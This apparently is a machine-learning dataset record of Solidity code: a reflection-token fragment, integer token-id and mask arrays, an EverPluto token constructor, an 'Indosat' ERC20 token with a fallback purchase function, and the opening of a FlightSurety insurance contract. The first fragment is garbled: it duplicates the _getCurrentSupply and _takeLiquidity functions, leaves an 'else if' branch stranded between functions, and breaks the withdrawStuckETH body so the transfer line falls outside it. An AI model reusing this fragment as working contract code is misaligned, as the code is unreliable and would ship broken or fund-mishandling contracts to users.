_transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, _getRate() ); return ( rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity ); } function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256 ) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { if(buyOrSellSwitch == BUY){ _liquidityTokensToSwap += tLiquidity * _buyLiquidityFee / _liquidityFee; _marketingTokensToSwap += tLiquidity * _buyMarketingFee / _liquidityFee; _liquidityTokensToSwap += tLiquidity * _sellLiquidityFee / _liquidityFee; _marketingTokensToSwap += tLiquidity * _sellMarketingFee / _liquidityFee; } uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function _takeLiquidity(uint256 tLiquidity) private { if(buyOrSellSwitch == BUY){ _liquidityTokensToSwap += tLiquidity * _buyLiquidityFee / _liquidityFee; _marketingTokensToSwap += tLiquidity * _buyMarketingFee / _liquidityFee; _liquidityTokensToSwap += tLiquidity * _sellLiquidityFee / _liquidityFee; _marketingTokensToSwap += tLiquidity * _sellMarketingFee / _liquidityFee; } uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } } else if(buyOrSellSwitch == SELL){ function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10000); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div(10000); } function removeAllFee() private { if (_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) external view returns (bool) { return _isExcludedFromFee[account]; } function excludeFromFee(address account) external onlyOwner { _isExcludedFromFee[account] = true; emit ExcludeFromFee(account); } function includeInFee(address account) external onlyOwner { _isExcludedFromFee[account] = false; emit IncludeInFee(account); } function setBuyFee(uint256 buyTaxFee, uint256 buyLiquidityFee, uint256 buyMarketingFee) external onlyOwner { _buyTaxFee = buyTaxFee; _buyLiquidityFee = buyLiquidityFee; _buyMarketingFee = buyMarketingFee; require(_buyTaxFee + _buyLiquidityFee + _buyMarketingFee <= 1500, "Must keep buy taxes below 15%"); emit SetBuyFee(buyMarketingFee, buyLiquidityFee, buyTaxFee); } function setSellFee(uint256 sellTaxFee, uint256 sellLiquidityFee, uint256 sellMarketingFee) external onlyOwner { _sellTaxFee = sellTaxFee; _sellLiquidityFee = sellLiquidityFee; _sellMarketingFee = sellMarketingFee; require(_sellTaxFee + _sellLiquidityFee + _sellMarketingFee <= 3000, "Must keep sell taxes below 30%"); emit SetSellFee(sellMarketingFee, sellLiquidityFee, sellTaxFee); } function setMarketingAddress(address _marketingAddress) external onlyOwner { require(_marketingAddress != address(0), "_marketingAddress address cannot be 0"); _isExcludedFromFee[marketingAddress] = false; marketingAddress = payable(_marketingAddress); _isExcludedFromFee[marketingAddress] = true; emit UpdatedMarketingAddress(_marketingAddress); } function setLiquidityAddress(address _liquidityAddress) public onlyOwner { require(_liquidityAddress != address(0), "_liquidityAddress address cannot be 0"); liquidityAddress = payable(_liquidityAddress); _isExcludedFromFee[liquidityAddress] = true; emit UpdatedLiquidityAddress(_liquidityAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } receive() external payable {} function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) { require(_token != address(0), "_token address cannot be 0"); require(_token != address(this), "Can't withdraw native tokens"); uint256 _contractBalance = IERC20(_token).balanceOf(address(this)); _sent = IERC20(_token).transfer(_to, _contractBalance); emit TransferForeignToken(_token, _contractBalance); } function withdrawStuckETH() external onlyOwner { require(!tradingActive, "Can only withdraw if trading hasn't started"); bool success; } (success,) = address(msg.sender).call{value: address(this).balance}(""); }
15,437,416
[ 1, 14925, 77, 17, 4819, 471, 30959, 17, 3350, 5349, 7990, 471, 3152, 4259, 924, 854, 7517, 9816, 11078, 3241, 2898, 336, 15345, 364, 3614, 7827, 16, 1496, 326, 12150, 1221, 518, 15857, 358, 1440, 598, 783, 6835, 18, 1707, 6138, 716, 279, 5859, 13667, 312, 6388, 5574, 18, 5502, 7412, 358, 4259, 6138, 3377, 506, 3221, 358, 279, 4207, 7412, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 490, 15579, 60, 353, 1772, 16, 467, 654, 39, 3462, 16, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 203, 565, 1758, 8843, 429, 1071, 13667, 310, 1887, 31, 203, 540, 203, 565, 1758, 8843, 429, 1071, 4461, 1887, 31, 203, 540, 203, 565, 1758, 8843, 429, 1071, 4501, 372, 24237, 1887, 31, 203, 4202, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 3238, 389, 86, 5460, 329, 31, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 3238, 389, 88, 5460, 329, 31, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 377, 203, 565, 1426, 1071, 7412, 6763, 1526, 273, 638, 31, 203, 565, 1426, 1071, 8181, 382, 12477, 273, 638, 31, 203, 203, 565, 2874, 12, 2867, 516, 1426, 13, 3238, 389, 291, 16461, 1265, 14667, 31, 203, 203, 565, 2874, 12, 2867, 516, 1426, 13, 3238, 389, 291, 16461, 31, 203, 565, 1758, 8526, 3238, 389, 24602, 31, 203, 377, 203, 565, 2254, 5034, 3238, 5381, 4552, 273, 4871, 11890, 5034, 12, 20, 1769, 203, 565, 2254, 5034, 3238, 5381, 389, 88, 5269, 273, 404, 380, 404, 73, 29, 380, 404, 73, 2643, 31, 203, 565, 2254, 5034, 3238, 389, 86, 5269, 273, 261, 6694, 300, 261, 6694, 738, 389, 88, 5269, 10019, 203, 565, 2254, 5034, 3238, 389, 88, 14667, 5269, 31, 203, 203, 565, 533, 3238, 5381, 389, 529, 273, 315, 6152, 58, 60, 2 ]
./partial_match/1/0x8df40F731dA0357337d532a66d6f52e292710EC9/sources/EverPluto.sol
-------------------------------------------------------------------------- */ constructor */ -------------------------------------------------------------------------- */ create uniswap pair
constructor() { address _uniswapPair = IUniswapV2Factory(UNISWAP_V2_ROUTER.factory()).createPair(address(this), UNISWAP_V2_ROUTER.WETH()); UNISWAP_V2_PAIR = _uniswapPair; _allowances[address(this)][address(UNISWAP_V2_ROUTER)] = type(uint256).max; _allowances[address(this)][tx.origin] = type(uint256).max; isTxLimitExempt[address(this)] = true; isTxLimitExempt[address(UNISWAP_V2_ROUTER)] = true; isTxLimitExempt[_uniswapPair] = true; isTxLimitExempt[tx.origin] = true; isFeeExempt[tx.origin] = true; marketingFeeReceiver = 0x5e7F57cD4dE91D3F273a546e021fB9ACc98f7c8D; lpFeeReceiver = 0x5bc3F37d65C23e62E5cd341Ff6585E8ebA82358b; buybackFeeReceiver = 0xeB41B28C903075D7A7700664d7AA8875F0d3e469; _rOwned[tx.origin] = _totalSupply; emit Transfer(address(0), tx.origin, _totalSupply); }
3,976,516
[ 1, 5802, 15392, 342, 4766, 3885, 27573, 342, 19950, 342, 752, 640, 291, 91, 438, 3082, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 288, 203, 3639, 1758, 389, 318, 291, 91, 438, 4154, 273, 203, 5411, 467, 984, 291, 91, 438, 58, 22, 1733, 12, 2124, 5127, 59, 2203, 67, 58, 22, 67, 1457, 1693, 654, 18, 6848, 1435, 2934, 2640, 4154, 12, 2867, 12, 2211, 3631, 5019, 5127, 59, 2203, 67, 58, 22, 67, 1457, 1693, 654, 18, 59, 1584, 44, 10663, 203, 3639, 5019, 5127, 59, 2203, 67, 58, 22, 67, 4066, 7937, 273, 389, 318, 291, 91, 438, 4154, 31, 203, 203, 3639, 389, 5965, 6872, 63, 2867, 12, 2211, 13, 6362, 2867, 12, 2124, 5127, 59, 2203, 67, 58, 22, 67, 1457, 1693, 654, 25887, 273, 618, 12, 11890, 5034, 2934, 1896, 31, 203, 3639, 389, 5965, 6872, 63, 2867, 12, 2211, 13, 6362, 978, 18, 10012, 65, 273, 618, 12, 11890, 5034, 2934, 1896, 31, 203, 203, 3639, 353, 4188, 3039, 424, 5744, 63, 2867, 12, 2211, 25887, 273, 638, 31, 203, 3639, 353, 4188, 3039, 424, 5744, 63, 2867, 12, 2124, 5127, 59, 2203, 67, 58, 22, 67, 1457, 1693, 654, 25887, 273, 638, 31, 203, 3639, 353, 4188, 3039, 424, 5744, 63, 67, 318, 291, 91, 438, 4154, 65, 273, 638, 31, 203, 3639, 353, 4188, 3039, 424, 5744, 63, 978, 18, 10012, 65, 273, 638, 31, 203, 3639, 353, 14667, 424, 5744, 63, 978, 18, 10012, 65, 273, 638, 31, 203, 203, 3639, 13667, 310, 14667, 12952, 273, 374, 92, 25, 73, 27, 42, 10321, 71, 40, 24, 72, 41, 12416, 40, 23, 42, 5324, 23, 2 ]
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract ERC20Basic { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev protection against short address attack */ modifier onlyPayloadSize(uint numwords) { assert(msg.data.length == numwords * 32 + 4); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(transfersEnabled); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(transfersEnabled); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Indosat is StandardToken { string public constant name = "Indosat"; string public constant symbol = "INDOSAT"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 7 * 10**9 * (10**uint256(decimals)); uint256 public weiRaised; uint256 public tokenAllocated; address public owner; bool public saleToken = true; event OwnerChanged(address indexed previousOwner, address indexed newOwner); event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken); event Transfer(address indexed _from, address indexed _to, uint256 _value); function Indosat(address _owner) public { totalSupply = INITIAL_SUPPLY; owner = _owner; //owner = msg.sender; // for testing balances[owner] = INITIAL_SUPPLY; tokenAllocated = 0; transfersEnabled = true; } // fallback function can be used to buy tokens function() payable public { buyTokens(msg.sender); } function buyTokens(address _investor) public payable returns (uint256){ require(_investor != address(0)); require(saleToken == true); address wallet = owner; uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} weiRaised = weiRaised.add(weiAmount); tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); TokenPurchase(_investor, weiAmount, tokens); wallet.transfer(weiAmount); return tokens; } function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) { uint256 addTokens = getTotalAmountOfTokens(_weiAmount); if (addTokens > balances[owner]) { TokenLimitReached(tokenAllocated, addTokens); return 0; } return addTokens; } /** Token Distribution */ function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) { uint256 amountOfTokens = 0; if( _weiAmount == 0.002 ether){ amountOfTokens = 100 * 10**4 * (10**uint256(decimals)); } return amountOfTokens; } function mint(address _to, uint256 _amount, address _owner) internal returns (bool) { require(_to != address(0)); require(_amount <= balances[_owner]); balances[_to] = balances[_to].add(_amount); balances[_owner] = balances[_owner].sub(_amount); Transfer(_owner, _to, _amount); return true; } modifier onlyOwner() { require(msg.sender == owner); _; } function changeOwner(address _newOwner) onlyOwner public returns (bool){ require(_newOwner != address(0)); OwnerChanged(owner, _newOwner); owner = _newOwner; return true; } function startSale() public onlyOwner { saleToken = true; } function stopSale() public onlyOwner { saleToken = false; } function enableTransfers(bool _transfersEnabled) onlyOwner public { transfersEnabled = _transfersEnabled; } /** * Peterson's Law Protection * Claim tokens */ function claimTokens() public onlyOwner { owner.transfer(this.balance); uint256 balance = balanceOf(this); transfer(owner, balance); Transfer(this, owner, balance); } }
owner = msg.sender; for testing
function Indosat(address _owner) public { totalSupply = INITIAL_SUPPLY; owner = _owner; balances[owner] = INITIAL_SUPPLY; tokenAllocated = 0; transfersEnabled = true; }
6,932,201
[ 1, 8443, 273, 1234, 18, 15330, 31, 225, 364, 7769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 9223, 538, 270, 12, 2867, 389, 8443, 13, 1071, 288, 203, 3639, 2078, 3088, 1283, 273, 28226, 67, 13272, 23893, 31, 203, 3639, 3410, 273, 389, 8443, 31, 203, 3639, 324, 26488, 63, 8443, 65, 273, 28226, 67, 13272, 23893, 31, 203, 3639, 1147, 29392, 273, 374, 31, 203, 3639, 29375, 1526, 273, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.25; import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol"; contract FlightSuretyData { using SafeMath for uint256; /********************************************************************************************/ /* DATA VARIABLES */ /********************************************************************************************/ address public contractOwner; bool public operational; uint public totalOutstandingPayouts = 0; uint payoutMultiplier; uint flightArrLimit; //authorizedCallers[contract] => bool mapping(address => bool) authorizedCallers; // Insurance // Tracks total balance for each passenger //buyerAccounts[passenger].balance/.buyerPolicies[flightKey].paid/.coverage mapping(address => Buyer) public buyerAccounts; struct Buyer { uint balance; // buyerPolicies[flightKey].paid/.coverage mapping(bytes32 => InsPolicy) buyerPolicies; } // Allows insurance to payout entire flight //policiesByFlight[flightKey][i].addr/.paid/... mapping(bytes32 => InsPolicy[]) policiesByFlight; struct InsPolicy { address addr; uint paid; uint coverage; bool processed; } // Airlines //airlines[address].isRegistered/voteNonces[uint]/.candidates[address] mapping(address => Airline) airlines; struct Airline { bool isRegistered; bool isFunded; uint voteCount; // .voteNonces[voteNonce] => bool mapping(uint => bool) voteNonces; // .candidates[address] => bool mapping(address => bool) candidates; } uint public statusVoteCount = 0; uint public voteNonce = 0; uint public votingTimestamp; uint public votingRequirement = 4; uint public airlineConsensus = 3; uint public airlineCount = 0; uint public airlineConsensusMultiplier; uint public airlineRegFee; // Flights mapping(bytes32 => Flight) flights; struct Flight { uint flightID; bytes32 flightKey; address airline; uint timestamp; bool processed; } Flight[] public flightsArr; /********************************************************************************************/ /* EVENT DEFINITIONS */ /********************************************************************************************/ // Utility Events event OperatingStatusUpdated(bool newStatus); event PayoutUpdated(uint payoutMultiplier); event AirlineRegistrationUpdated(uint airlineConsensusMultiplier, uint airlineRegFee, uint flightArrLimit); event FlightArrayLimit (uint flightCount); event FlightArrayUpdated (uint newFlightCount, uint flightArrayLimit); // Smart Contract Events event newAuthorizedCaller(address newAuthCaller); event NewAirlineRegistered(bool success, uint voteCount, bool isRegistered, bool isFunded, address candidate, address airline); event NewAirlineVote(address candidate, bool isRegistered, uint voteCount, uint votesNeeded); event Funded(bool success, address airline, bool isRegistered, bool isFunded, uint valueSent, uint totalBalance); event FlightCreated(bytes32 flightKey, address airline, uint flightID, uint timestamp); event BuyCompleted(address passenger, uint amountPaid, uint amountInsured, bytes32 flightKey); event PayoutCompleted(address passenger, uint creditProcessed, uint passengerBalance, uint totalOutstandingPayouts, uint availableFunds); event WithdrawalCompleted(address passenger, uint payoutAmount); event PayoutsExceedFunds(uint totalOutstandingPayouts, uint availableFunds); /********************************************************************************************/ /* CONSTRUCTOR */ /********************************************************************************************/ constructor() public { contractOwner = msg.sender; operational = true; authorizedCallers[address(this)] = true; authorizedCallers[contractOwner] = true; airlineRegFee = 10 ether; payoutMultiplier = 15; airlineConsensusMultiplier = 5; // airlineConsensus = airlineCount/2 flightArrLimit = 100; } /********************************************************************************************/ /* FUNCTION MODIFIERS */ /********************************************************************************************/ modifier requireIsOperational() { require(operational, "Contract is currently not operational"); _; // All modifiers require an "_" which indicates where the function body will be added } modifier requireContractOwner() { require(msg.sender == contractOwner, "Caller is not contract owner"); _; } modifier requireAuthorizedCaller() { require(authorizedCallers[msg.sender], "Caller not authorized"); _; } modifier requireRegisteredAirline(address airline) { require(airlines[airline].isRegistered, "Must be registered airline"); _; } /********************************************************************************************/ /* UTILITY FUNCTIONS */ /********************************************************************************************/ // GETTERS function getAirlineStatus(address _airline) external view requireIsOperational() returns(bool isRegistered, bool isFunded, uint voteCount, address airline) { return (airlines[_airline].isRegistered, airlines[_airline].isFunded, airlines[_airline].voteCount, _airline); } function getVoter(address candidate, address airline) external view requireIsOperational() returns (bool) { return airlines[airline].candidates[candidate]; } function getFlightCreated(address _airline, uint _flightID, uint _timestamp) external view requireIsOperational() returns(address airline, uint flightID, bytes32 flightKey, uint timestamp, bool processed) { bytes32 key = getFlightKey(_airline, _flightID, _timestamp); return (flights[key].airline, flights[key].flightID, flights[key].flightKey, flights[key].timestamp, flights[key].processed); } function getFlightCreatedFromKey(bytes32 key) external view requireIsOperational() returns(address airlineAddress, uint flightID, bytes32 flightKey, uint timestamp, bool processed) { return (flights[key].airline, flights[key].flightID, flights[key].flightKey, flights[key].timestamp, flights[key].processed); } function getFlightKey(address airline, uint flightID, uint256 timestamp) public pure returns(bytes32) { return keccak256(abi.encodePacked(airline, flightID, timestamp)); } function getFlightInfo(uint index) 